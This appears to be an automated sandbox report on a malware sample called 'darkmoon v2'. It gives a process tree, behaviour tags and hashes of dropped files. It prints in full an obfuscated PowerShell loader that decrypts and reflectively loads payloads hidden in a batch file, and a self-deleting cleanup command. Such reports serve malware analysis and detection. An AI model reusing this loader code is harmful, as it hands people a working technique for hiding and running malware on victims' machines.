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C:\Windows\system32\PING.EXEping play.google.com5⤵
- Runs ping.exe
PID:4112
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:4480
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C:\Windows\system32\PING.EXEping store.steampowered.com5⤵
- Runs ping.exe
PID:3348
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:2748
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C:\Windows\system32\PING.EXEping netflix.com5⤵
- Runs ping.exe
PID:4412
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:116
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C:\Windows\system32\PING.EXEping www.spotify.com5⤵
- Runs ping.exe
PID:2052
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:5440
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C:\Windows\system32\PING.EXEping www.xbox.com5⤵
- Runs ping.exe
PID:2848
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:5204
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C:\Windows\system32\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
PID:4408
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C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
PID:5724
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C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
PID:5572
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C:\Windows\system32\PING.EXEping www.google.com5⤵
- Runs ping.exe
PID:5420
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C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
PID:392
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K AyBYMBjlvU.bat3⤵
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:396
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C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:376 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{db9ad00e-61bd-422b-af8b-0a627e084977}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4736
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{17a7b8a0-4fd1-4a27-94cf-de789148ea11}5⤵PID:1636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & exit5⤵PID:848
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
PID:5012
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C:\Windows\system32\PING.EXEPING localhost -n 86⤵
- Runs ping.exe
PID:3280
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"6⤵
- Kills process with taskkill
PID:1264
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"6⤵
- Views/modifies file attributes
PID:728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3668
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3864
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4016
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4188
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4872
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2336
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3768
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3564
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:920
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:508
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2920
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3896
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1372
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:4040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4920 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 3200 -ip 32002⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:708
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF405.tmp.csv
- Size 41KB
- SHA256 4e246f8d6c729c36cafe91776caf1f25655250680c94f2a1da0aa7f51eed9adc
- MD5 052446f00d3c591c6a886974c3eab9c2
- SHA1 54f127e49acf35e4ca66e8db866cc7f4982bc213
- SHA512 a2107f09a5ec6167385f7e58eafdad48e4aa65b02adccb2db21472c99e9802da05af00a50199afc17c06f4f37348da2af72b2fdd92e0d4f701ce2ce71214418a
- SSDEEP 768:acnz2kZbl76dgKROUoJhTRZ698mRnzGt3EyaTIbKOZAhxF/Sh4hZu6NSN4icEv:aczrl7UoFTmat3gTIOOZAnF/ShKuum4Y
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF425.tmp.txt
- Size 13KB
- SHA256 5510dff07d3680c4f53e00db7a8b0e6da19773eff8fbbe5cb4af62f2ef4ec0fd
- MD5 03e7b4700af7e9eeb3a8ef6298c6e6b2
- SHA1 ef05ebf9e9fb97afc7faa558f4ccac5a1c692bfb
- SHA512 f3ef072239403aaaf4fcbac768065de0925042503f91377ed04ebb1f05747041520ffb2cc324e0c61568d17fe4827f8d6f3949893a1591fe7518c59249a2649d
- SSDEEP 96:4iefpRy4HzexYgYQbWlS1HLYEZfltEi3CFIKJIwI3JpMahyhDMDp8Idv3:NefpgXPJjN5CahyhDMDp7dv3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
- Size 35KB
- SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
- MD5 c153581143e0b72cecae38a393991a4b
- SHA1 da43d03b19765594ff124415a060551343823a39
- SHA512 8c9807f4a3044f49d99e5b1c2a20d112eba61570fa0e725777a3bd84d6a0e7df1c604579863e27c6d0617c2c84fa4ae8c3b7525e37f7e7ee9c6ef26b6c9db40f
- SSDEEP 768:sQFlE38u/LOzTWyv+C42E42aSCghIcjH3oyjoyhPekLLokLL76VkLLHwkLDkLP9J:sQFl48GLOzTWyv+C42E42aSCghIcjH3e
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4crcx14e.bud.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-cmd.exe
- Size 283KB
- SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
- MD5 8a2122e8162dbef04694b9c3e0b6cdee
- SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
- SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
- SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-mshta.exe
- Size 14KB
- SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
- MD5 0b4340ed812dc82ce636c00fa5c9bef2
- SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
- SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
- SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
- MD5 SHA1 SHA512 SSDEEP